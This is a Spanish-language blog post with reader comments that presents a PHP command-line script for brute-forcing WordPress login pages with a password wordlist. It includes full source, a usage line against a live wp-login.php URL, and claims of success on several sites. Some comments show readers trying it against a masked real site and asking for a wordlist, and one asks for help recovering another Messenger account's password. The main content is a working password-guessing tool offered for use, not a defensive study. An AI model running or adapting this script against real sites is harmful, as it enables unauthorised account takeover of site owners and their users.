Web Login por fuerza bruta

WordPress no cuenta con un captcha por defecto ni tampoco con login throttling, o algo que limite los intentos de ingreso de usuario y clave para los usuarios, por lo que practicar fuerza bruta para ingresar como alguno de los usuarios registrados es algo que podemos intentar. Muchos sistemas de ingreso no cuentan con este tipo de proteccion o validacion, por lo que este escript no solo se puede usar contra wordpress.

Hemos escrito un pequeño programa en PHP que nos permitira hacer post al sistema de login de wordpress probando claves desde un diccionario de palabras.

  1. < ?php
  2. ini_set("memory_limit", "100M");
  3. function crackSite($wordlist, $url, $user, $attemps = 0)
  4. {
  5.         if($file = file($wordlist))
  6.                 print "Read ".count($file)." words.n";
  7.         else
  8.         {
  9.                 print "Can’t read word list file.n";
  10.                 die();
  11.         }
  12.         $i = 0;
  13.         rtrim($fields_string,‘&amp;’);
  14.         foreach($file as $word)
  15.         {
  16.                 if(++$i%10 == 0)
  17.                         print "Attempts: ".$i."/".count($file)." (".trim($word).")n";
  18.                 $fields_string = "log=".$user."&amp;pwd=".trim($word);
  19.                 $ch = curl_init();
  20.                 curl_setopt($ch,CURLOPT_URL,$url);
  21.                 curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
  22.                 curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
  23.                 $result = md5( curl_exec($ch) );
  24.                 if(!$oresult) $oresult = $result;
  25.                 if($oresult != $result)
  26.                 {
  27.                         print "Password found: ".$word."n";
  28.                         die();
  29.                 }
  30.                 curl_close($ch);
  31.         }
  32. }
  33. crackSite($argv[1], $argv[2], $argv[3]);
  34. ?>

Este script esta diseñado para correrlo desde la linea de comandos (php-cli) y su modo de uso es el siguiente:

$ php wp_cracker.php wordlist.txt https://sitio.com/wp-login.php Username

Notese que el script en ningun momento valida datos de entrada y salida, por lo que depende de la persona que lo ejecute que los parametros esten bien. Se ha probado este script con algunos sitios y ha funcionado, puede que para otros sitios sea necesario hacer algunas modificaciones. El primer parametro corresponde al fichero que contiene nuestro diccionario de palabras, el segundo a la URL que el script debe hacer post y el tercero al usuario.
Lo unico que debemos saber es el nombre de usuario que existe en el registro del sitio. Para intentar ingresar a otros sitios es necesario modificar el codigo fuente y cambiar los nombres de los campos.

Requerimientos: Curl y PHP.

Video tutorial:

httpvh://www.youtube.com/watch?v=CMfxsGQOtd8

Descargar video:
Mirror 1: Hardmodding (2.8M)

16 comentarios

  1. $wordlist que pòngo aca podrias poner un ejemplo porfavor pon un enlace de block de nota o tengo que crear una base de dato dentro de php..

    #
    function crackSite($wordlist, $url, $user, $attemps = 0)

  2. Pollo: wordlist es un archivo con la lista de palabras para realizar la fuerza bruta. Puedes descargar un wordlist desde aca: http://blog.zerial.org/files/wordlist.bz2

  3. con php5.cli instalado me esta dando un error con la funcion curl-init() dice que no esta declarada.

    alguna idea de porque?

  4. Zerial

    mayo 28, 2009 a las 9:14 pm

    @sirpan: Tienes que tener curl habilitado/instalado para php.

  5. Oye zerial, me sale 404 para el video, si tienes el original, mandamelo al mail y lo subo de nuevo 😉

  6. Zerial

    junio 17, 2009 a las 10:44 pm

    @_Dark_ ya no tengo el video en “alta calidad” 🙁 Pensé que aun estaba alojado en ese server… solo queda la version de youtube (calidad ahi nomas).

    En fin, sacare ese mirror

    gracias!

  7. D: veré si está en alguno de los respaldos y te aviso… Nos migraron el server de un día para otro =\

  8. Corrígete el tamaño del video sipo’oe xD no son ná 5 megas, son como 3 😛

  9. Zerial

    junio 29, 2009 a las 7:01 pm

    2.8MB. Gracias @_Dark_ !

  10. perdi mi contraseña de messenger y me urge recuperarla por cuestion de trabajo.me podria ayudar?si es asi pongase en contacto conmigo en mi nueva direccion de hotmail que arriba le adjunto.gracias!

  11. Que util 😛
    si fuera más rapido seria ideal…

  12. Estoy trabado aquí solo obtengo esto que estoy haciendo mal
    Como usuario ROOT

    php wp_cracker.php wordlist.txt http://www.*******.com/wp-login.php desempleado

    Could not open input file: wp_cracker.php

  13. Eso es porque tienes que indicar en que directorio esta el archivo wp_cracker.php o situarte con la terminal en el directorio.
    A los que le salgan el error con el curl_init, que lo instalen (php5-curl)

    Muy buen post, no esta nada mal el script 🙂

  14. Pon el link de descarga de el programa.

  15. no funciona, pongo la línea en la terminal y me abre el documento wp_cracker.php en la misma terminal

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Esto sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.